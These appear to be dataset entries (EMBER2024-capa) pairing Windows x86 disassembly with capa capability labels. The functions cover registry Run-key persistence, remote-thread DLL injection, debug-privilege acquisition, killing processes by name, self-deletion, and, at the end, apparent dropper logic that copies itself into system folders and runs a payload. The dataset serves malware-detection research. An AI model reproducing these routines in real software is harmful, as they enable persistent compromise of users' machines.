joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c76
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0xc], 0x4083a4
mov dword [ebp - 0x10], str.Block
mov dword [ebp - 0x14], str.C:WindowsSystem32calc.exe
lea eax, [ebp - 0x1c]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x18]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegCreateKeyExW_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._wcslen
add eax, 1
lea edx, [eax + eax]
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExW_24
sub esp, 0x18
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x401e0b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.C:WindowsSystem32calc.exe
mov dword [esp + 4], 0x40806c
mov dword [esp], 0
call sym._ShellExecuteW_24
sub esp, 0x18
nop
leave
ret

Function at 0x40202d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x54
lea edx, [ebp - 0x44]
mov eax, 0
mov ecx, 0xf
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x40], 0x40
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], str.open
mov dword [ebp - 0x34], 0x408546
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
lea eax, [ebp - 0x44]
mov dword [esp], eax
call sym._ShellExecuteExW_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret

Function at 0x40217b
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov byte [ebp - 0x12], 0
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x10], 0
mov byte [ebp - 0xf], 0
mov byte [ebp - 0xe], 0
mov byte [ebp - 0xd], 5
lea eax, [ebp - 0x18]
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x220
mov dword [esp + 8], 0x20
mov dword [esp + 4], 2
lea eax, [ebp - 0x12]
mov dword [esp], eax
call sym._AllocateAndInitializeSid_44
sub esp, 0x2c
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0xc]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CheckTokenMembership_12
sub esp, 0xc
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x402228
mov dword [esp], str.This_process_is_running_as_an_Administrator
call sym._puts
jmp 0x402234
mov dword [esp], str.This_process_is_running_as_a_standard_user
call sym._puts
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._FreeSid_4
sub esp, 4
nop
leave
ret
Function at 0x4023d7
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], str.cmd.exe
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.password
mov dword [esp + 4], str.domain
mov dword [esp], str.username
call sym._CreateProcessWithLogonW_44
sub esp, 0x2c
nop
leave
ret

Function at 0x402557
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
call sym._GetCurrentProcess_0
mov edx, eax
lea eax, [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x28
mov dword [esp], edx
call sym._OpenProcessToken_12
sub esp, 0xc
test eax, eax
jne 0x40259c
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.OpenProcessToken_failed:__u_n
call sym._printf
jmp 0x402695
lea eax, [ebp - 0x14]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SeDebugPrivilege
mov dword [esp], 0
call sym._LookupPrivilegeValueA_12
sub esp, 0xc
test eax, eax
jne 0x4025e6
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.LookupPrivilegeValue_failed:__u_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x402695
mov dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 2
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x10
lea edx, [ebp - 0x24]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._AdjustTokenPrivileges_24
sub esp, 0x18
test eax, eax
jne 0x40265e
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.AdjustTokenPrivileges_failed:__u_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x402695
call sym._GetLastError_0
cmp eax, 0x514
jne 0x402686
mov dword [esp], str.The_token_does_not_have_the_specified_privilege.
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
jmp 0x402695
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x4026fd
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0x40888c
lea eax, [ebp - 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x20019
mov dword [esp + 8], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x80000002
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4027c5
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], str.SomeValue
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x28]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x24]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegQueryValueExA_24
sub esp, 0x18
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4027a9
mov dword [esp], str.Success
call sym._printf
jmp 0x4027b5
mov dword [esp], str.Failed
call sym._printf
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x4027d1
mov dword [esp], str.Failed
call sym._printf
nop
leave
ret

Function at 0x402849
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp], 0x408196
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x402882
mov dword [esp], str.LoadLibrary_failed
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [ebp - 0x114], 0x100
lea eax, [ebp - 0x114]
mov dword [esp + 4], eax
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._GetUserNameW_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4028be
mov dword [esp], str.GetUserNameW_failed
call sym._puts
jmp 0x4028d4
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], str.Username:__s_n
call sym._printf
nop
leave
ret

Function at 0x402965
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.cmd.exe
mov dword [esp + 4], 0x40806c
mov dword [esp], 0
call sym._ShellExecuteW_24
sub esp, 0x18
nop
leave
ret

Function at 0x4029f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp], 0x208
call sym._malloc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._SHGetFolderPathW_20
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x4084fc
call sym._wprintf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._free
nop
leave
ret
Function at 0x402b4d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [esp + 8], 0x3c
mov dword [esp + 4], 0
lea eax, [ebp - 0x44]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x44], 0x3c
mov dword [ebp - 0x40], 0x40
mov dword [ebp - 0x38], 0x40806c
mov dword [ebp - 0x34], str.cmd.exe
mov dword [ebp - 0x30], str._C_taskkill__f__im_explorer.exe
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x44]
mov dword [esp], eax
call sym._ShellExecuteExW_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [ebp - 0x34], str.explorer.exe
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x28], 5
lea eax, [ebp - 0x44]
mov dword [esp], eax
call sym._ShellExecuteExW_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x403015
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x4c], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x5c]
mov dword [esp + 0x28], eax
lea eax, [ebp - 0x4c]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], str.C:WindowsSystem32cmd.exe
mov dword [esp + 0xc], 2
mov dword [esp + 8], str.Password
mov dword [esp + 4], str.Domain
mov dword [esp], str.Username
call sym._CreateProcessWithLogonW_44
sub esp, 0x2c
test eax, eax
jne 0x4030d3
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.CreateProcessWithLogonW_failed___d_._n
call sym._printf
jmp 0x403105
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
leave
ret

Function at 0x4032ea
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sym._RegOpenKeyExW_20
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x403335
mov dword [esp], str.Error_opening_key.
call sym._puts
jmp 0x403341
mov dword [esp], str.Key_opened_successfully.
call sym._puts
nop
leave
ret
Function at 0x4033e5
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp], 0x408196
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x403414
mov dword [esp], str.Error_loading_library
call sym._puts
jmp 0x4034ae
mov dword [esp + 4], str.RegDeleteKeyW
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40344f
mov dword [esp], str.Error_getting_function_address
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
jmp 0x4034ae
mov dword [ebp - 0x14], 0x80000001
mov dword [ebp - 0x18], 0x4083a4
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [ebp - 0x10]
call eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x403494
mov dword [esp], str.Error_deleting_registry_key
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
jmp 0x4034ae
mov dword [esp], str.Registry_key_deleted_successfully
call sym._puts
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
leave
ret

Function at 0x40360f
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x40372b
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0xc], eax
mov dword [esp], str.kernel32.dll
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 4], str.LoadLibraryA
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x18], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov dword [esp + 0xc], 0x8000
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x40387b
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x4038c1
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x40390a
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x403907
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x40390a
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x403ad5
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret
Function at 0x4042b0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40c044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40c03c]
sub esp, 4
test ebx, ebx
je 0x4042fb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4042f4
test esi, esi
je 0x4042f4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4042d0
mov dword [esp], 0x40c044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x4044e0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x404530
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x404608
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40456e
cmp eax, 4
jne 0x404590
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40457e
cmp edx, 4
je 0x40457e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.004044e0
Function at 0x4010f4
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
add esp, 0xfffffda4
lea eax, [esp + 0x68]
push eax
push 0x101
call sub.WSOCK32.dll_WSAStartup
push 0x64
lea edx, [esp + 0x1fc]
push edx
call sub.WSOCK32.dll_gethostname
lea ecx, [esp + 0x1f8]
push ecx
call sub.WSOCK32.dll_gethostbyname
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov ecx, dword [edx]
mov dword [esp], ecx
call sub.WSOCK32.dll_WSACleanup
mov eax, dword [esp]
push eax
call sub.WSOCK32.dll_inet_ntoa
push eax
lea edx, [esp + 8]
push edx
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [esp + 4]
add esp, 0x25c
ret

Function at 0x401154
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffd88
mov esi, section.DATA
mov ecx, 0x54
lea edi, [esp + 0x150]
push edi
lea edi, [esp + 4]
rep movsd dword es:[edi], dword [esi]
pop edi
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4011f7
push edi
push ebp
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4011f7
jmp 0x4011ec
call sub.KERNEL32.DLL_GetCurrentProcessId
cmp eax, dword [edi + 8]
je 0x4011ec
lea eax, [edi + 0x24]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov esi, eax
lea eax, [edi + esi + 0x24]
jmp 0x4011b1
dec esi
dec eax
movsx edx, byte [eax]
cmp edx, 0x5c
jne 0x4011af
inc esi
mov ebx, esp
jmp 0x4011e6
lea edx, [edi + 0x24]
add edx, esi
push edx
push eax
call sub.KERNEL32.DLL_lstrcmpA
test eax, eax
jne 0x4011e3
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
push 0
push eax
call sub.KERNEL32.DLL_TerminateProcess
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x4011be
push edi
push ebp
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401194
add esp, 0x278
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40123c
Capabilities:
Copy file
Create process on windows
Get common file path
Set registry value

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffbc4
mov ebx, 0x40227c
lea edi, [esp + 0x20c]
lea esi, [ebx + 0x3f5]
push esi
call sub.KERNEL32.DLL_GlobalFindAtomA
test ax, ax
je 0x401269
push 0
call sub.KERNEL32.DLL_ExitProcess
push esi
call sub.KERNEL32.DLL_GlobalAddAtomA
call fcn.00401204
push 0x104
lea eax, [esp + 0x10c]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x104
push edi
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea edx, [ebx + 0x404]
push edx
push edi
call sub.KERNEL32.DLL_lstrcatA
push 0
push edi
lea ecx, [esp + 0x110]
push ecx
call sub.KERNEL32.DLL_CopyFileA
push esp
push 0xf003f
push 0
lea eax, [ebx + 0x410]
push eax
push 0x80000002
call sub.ADVAPI32.dll_RegOpenKeyExA
mov eax, dword [esp]
mov dword [esp], eax
push 0x104
push edi
push 1
lea edx, [ebx + 0x43e]
push 0
push edx
mov ecx, dword [esp + 0x14]
push ecx
call sub.ADVAPI32.dll_RegSetValueExA
mov eax, dword [esp]
push eax
call sub.ADVAPI32.dll_RegCloseKey
push 0x104
push edi
call sub.KERNEL32.DLL_GetWindowsDirectoryA
lea edx, [ebx + 0x445]
push edx
push edi
call sub.KERNEL32.DLL_lstrcatA
push 0
push edi
lea ecx, [esp + 0x110]
push ecx
call sub.KERNEL32.DLL_CopyFileA
lea eax, [ebx + 0x45d]
lea edx, [ebx + 0x459]
push eax
push edi
push edx
lea ecx, [ebx + 0x451]
push ecx
call sub.KERNEL32.DLL_WritePrivateProfileStringA
push 0x104
push edi
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebx + 0x465]
push eax
push edi
call sub.KERNEL32.DLL_lstrcatA
push 0
push edi
lea edx, [esp + 0x110]
push edx
call sub.KERNEL32.DLL_CopyFileA
lea ecx, [ebx + 0x473]
push ecx
lea eax, [esp + 0x10c]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push edi
lea edx, [esp + 0x10c]
push edx
call sub.KERNEL32.DLL_lstrcatA
lea ecx, [ebx + 0x48c]
push ecx
lea eax, [esp + 0x10c]
push eax
lea edx, [ebx + 0x486]
push edx
lea ecx, [ebx + 0x481]
push ecx
call sub.KERNEL32.DLL_WritePrivateProfileStringA
jmp 0x4013ae
push 0x1f4
call sub.KERNEL32.DLL_Sleep
lea eax, [ebx + 0x497]
push eax
call fcn.004010f4
push eax
call sub.KERNEL32.DLL_lstrcmpA
test eax, eax
je 0x4013a4
call fcn.00401154
mov eax, 0x2dc6c0
call fcn.0040100c
mov esi, eax
push esi
mov esi, 0x402150
lea edi, [esp + 0x314]
mov ecx, 0x4b
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [esp + 0x310]
push eax
push esi
call fcn.0040108c
add esp, 8
mov edi, eax
push 0x104
lea eax, [esp + 8]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
lea edx, [ebx + 0x4a1]
push edx
lea ecx, [esp + 8]
push ecx
call sub.KERNEL32.DLL_lstrlenA
lea edx, [esp + 8]
add eax, edx
push eax
call sub.KERNEL32.DLL_lstrcpyA
lea eax, [esp + 4]
call fcn.00401038
mov ebx, eax
push 0
mov ecx, edi
mov edx, esi
mov eax, ebx
call fcn.00401050
mov eax, ebx
call fcn.00401084
mov eax, esi
call fcn.00401018
push 2
lea edx, [esp + 8]
push edx
call sub.KERNEL32.DLL_WinExec
push 0x7530
call sub.KERNEL32.DLL_Sleep
push 0
call sub.KERNEL32.DLL_ExitProcess
add esp, 0x43c
pop edi
pop esi
pop ebx
ret